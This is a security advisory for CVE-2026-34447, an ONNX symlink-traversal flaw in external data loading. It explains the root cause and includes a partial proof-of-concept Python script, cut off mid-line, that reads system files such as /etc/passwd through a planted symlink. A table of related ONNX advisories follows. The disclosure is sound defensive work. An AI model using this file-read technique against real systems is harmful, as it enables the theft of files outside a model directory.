ONNX: External Data Symlink Traversal
Medium5.5CVE-2026-34447 · Published Apr 1, 2026 · updated Sep 10, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| onnx PyPI | < 1.21.0 | 1.21.0 |
Details and references
Summary - Issue: Symlink traversal in external data loading allows reading files outside the model directory. - Affected code: `onnx/onnx/checker.cc: resolve_external_data_location` used via Python `onnx.external_data_helper.load_external_data_for_model`. - Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory. Root Cause - The function `resolve_external_data_location(base_dir, location, tensor_name)` intends to ensure that external data files reside within `base_dir`. It: - Rejects empty/absolute paths - Normalizes the relative path and rejects `..` - Builds `data_path = base_dir / relative_path` - Checks `exists(data_path)` and `is_regular_file(data_path)` - However, `std::filesystem::is_regular_file(path)` follows symlinks to their targets. A symlink placed inside `base_dir` that points to a file outside `base_dir` will pass the checks and be returned. The Python loader then opens the path and reads the target file. Code Reference - File: onnx/onnx/checker.cc:970-1060 - Key logic: - Normalization: `auto relative_path = file_path.lexically_normal().make_preferred();` - Existence: `std::filesystem::exists(data_path)` - Regular file check: `std::filesystem::is_regular_file(data_path)` - Returned path is later opened in Python: `external_data_helper.load_external_data_for_tensor`. Proof of Concept (PoC) - File: `onnx_external_data_symlink_traversal_poc.py` - Behavior: Creates a model with an external tensor pointing to `tensor.bin`. In the model directory, creates `tensor.bin` as a symlink to `/etc/hosts` (or similar). Calls `load_external_data_for_model(model, base_dir)`. Confirms that `tensor.raw_data` contains content from the target outside the model directory. - Run: - `python3 onnx_external_data_symlink_traversal_poc.py` - Expected: `[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir` onnx_external_data_symlink_traversal_poc.py ```python #!/usr/bin/env python3 """ ONNX External Data Symlink Traversal PoC Finding: load_external_data_for_model() (via c_checker._resolve_external_data_location) does not reject symlinks. A relative location that is a symlink inside the model directory can target a file outside the directory and will be read. Impact: Arbitrary file read outside model_dir when external data files are obtained from attacker-controlled archives (zip/tar) that create symlinks. This PoC: - Creates a model with a tensor using external_data location 'tensor.bin' - Creates 'tensor.bin' as a symlink to a system file (e.g., /etc/hosts) - Calls load_external_data_for_model(model, base_dir) - Confirms that tensor.raw_data contains the content of the outside file Safe: only reads a benign system file if present. """ import os import sys import tempfile import pathlib # Ensure we import installed onnx, not the local cloned package _here = os.path.dirname(os.path.abspath(__file__)) if _here in sys.path: sys.path.remove(_here) import onnx from onnx import helper, TensorProto from onnx.external_data_helper import ( set_external_data, load_external_data_for_model, ) def pick_target_file(): candidates = ["/etc/hosts", "/etc/passwd", "/System/Library/CoreServices/SystemVersion.plist"] for p in candidates: if os.path.exists(p) and os.path.isfile(p): return p raise RuntimeError("No suitable readable system file found for this PoC") def build_model_with_external(location: str): # A 1D tensor; data will be filled from external file tensor = helper.make_tensor( name="X_ext", data_type=TensorProto.UINT8, dims=[0], # dims will be inferred after raw_data is read vals=[], ) # add dummy raw_data then set_external_data to mark as external tensor.raw_data = b"dummy" set_external_data(tensor, location=location) # Minimal graph that just feeds the initializer as Constant const_nod
More ONNX advisories
All ONNX| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Mar 31 | onnx Vulnerable to Path Traversal via Symlink CVE-2026-27489Highfixed in 1.21.0 | High | 1.21.0 |
| Apr 1 | ONNX: Malicious ONNX models can crash servers by exploiting unprotected object settings. CVE-2026-34445High8.6fixed in 1.21.0 | High8.6 | 1.21.0 |
| Apr 1 | ONNX: Arbitrary File Read via ExternalData Hardlink Bypass in ONNX load CVE-2026-34446Medium4.7fixed in 1.21.0 | Medium4.7 | 1.21.0 |
| Apr 1 | ONNX: TOCTOU arbitrary file read/write in save_external_dat CVE-2026-49114High7.1fixed in 1.21.0 | High7.1 | 1.21.0 |
| Mar 16 | ONNX Untrusted Model Repository Warnings Suppressed by silent=True in onnx.hub.load() , Silent Supply-Chain Attack CVE-2026-28500High8.6fixed in 1.21.0rc1 | High8.6 | 1.21.0rc1 |
| Jul 7 | ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs) CVE-2026-44512Medium5.5fixed in 1.22.0 | Medium5.5 | 1.22.0 |